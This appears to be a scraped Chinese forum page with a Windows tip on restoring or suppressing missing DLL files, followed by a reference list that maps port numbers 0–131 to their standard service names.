  有时在卸载文件时会提醒你删除某个DLL文件可能会影响其他应用程序的运行。所以当你卸载软件时,就有可能误删共享的DLL文件。一旦出现了丢失DLL文件的情况,如果你能确定其名称,可以在Sysbckup(系统备份文件夹)中找到该DLL文件,将其复制到System文件夹中。如果这样不行,在电脑启动时又总是出现“***dll文件丢失……”的提示框,你可以在“开始/运行”中运行Msconfig,进入系统配置实用程序对话框以后,单击选择“System.ini”标签,找出提示丢失的DLL文件,使其不被选中,这样开机时就不会出现错误提示了。

TOP

端口大全

0=Reserved
1=tcpmux
2=compressnet
3=compressnet
4=Unassigned
5=Remote Job Entr
6=Unassigned
7=Echo
8=Unassigned
9=Discard
10=Unassigned
11=Active Users
12=Unassigned
13=Daytime
14=Unassigned
15=Unassigned
16=Unassigned
17=Quote of the Day
18=Message Send Protocol
19=Character Generator
20=FTP (Data)
21=FTP (Control)
22=Unassigned
23=Telnet
24=Private mail-system
25=SMTP
26=Unassigned
27=NSW User System FE
28=Unassigned
29=MSG ICP
30=Unassigned
31=MSG Authentication
32=Unassigned
33=Display Support Protocol
34=Unassigned
35=Private printer server
36=Unassigned
37=Time
38=Route Access Protocol
39=Resource Location Protocol
40=Unassigned
41=Graphics
42=Host Name Server
43=Who Is
44=MPM FLAGS Protocol
45=Message Processing Module (recv)
46=mpm-snd, MPM (default send)
47=ni-ftp
48=Digital Audit Daemon
49=login, Login Host Protocol
50=re-mail-ck, Remote Mail Checking Protocol
51=IMP Logical Address Maintenance
52=xns-time, XNS Time Protocol
53=domain, Domain Name Server
54=xns-ch, XNS Clearinghouse
55=ISI Graphics Language
56=XNS Authentication
57=Private terminal access
58=XNS Mail
59=Private file service
60=Unassigned
61=NI MAIL
62=ACA Services
63=Unassigned
64=Communications Integrator (CI)
65=TACACS-Database Service
66=Oracle SQL*NET
67=Bootstrap Protocol Server
68=Bootstrap Protocol Client
69=Trivial File Transfer
70=Gophergopher
71=Remote Job Service
72=Remote Job Service
73=Remote Job Service
74=Remote Job Service
75=any private dial out service
76=Distributed External Object Store
77=any private RJE service
78=vettcpvettcp
79=Finger server
80=HTTP
81=HOSTS2 Name Server
82=XFER Utility
83=MIT ML Device
84=Common Trace Facility
85=MIT ML Device
86=Micro Focus Cobol
87=Private terminal link
88=Kerberos
89=SU/MIT Telnet Gateway
90=DNSIX Securit Attribute Token Map
91=MIT Dover Spooler
92=Network Printing Protocol
93=Device Control Protocol
94=Tivoli Object Dispatcher
95=SUPDUPsupdup
96=DIXIE Protocol Specification
97=Swift Remote Vitural File Protocol
98=TAC Newstacnews
99=Metagram Relay
100=newacct [unauthorized use]
101=NIC Host Name Server
102=ISO-TSAP
103=Genesis Point-to-Point Trans Net
104=ACR-NEMA Digital Imag. & Comm. 300
105=Mailbox Name Nameserver
106=3COM-TSMUX3com-tsmux
107=Remote Telnet Service
108=SNA Gateway Access Server
109=Post Office Protocol - Version 2
110=Post Office Protocol - Version 3
111=SUN RPC
112=McIDAS Data Transmission Protocol
113=Authentication Service
114=Audio News Multicast
115=Simple File Transfer Protocol
116=ANSA REX Notify
117=UUCP Path Service
118=SQL Servicessqlserv
119=Network News Transfer Protocol
120=CFDPTKTcfdptkt
121=Encore Expedited Remote Pro.Call
122=SMAKYNETsmakynet
123=Network Time Protocol
124=ANSA REX Trader
125=Locus PC-Interface Net Map Ser
126=Unisys Unitary Login
127=Locus PC-Interface Conn Server
128=GSS X License Verification
129=Password Generator Protocol
130=cisco FNATIVE
131=cisco TNATIVE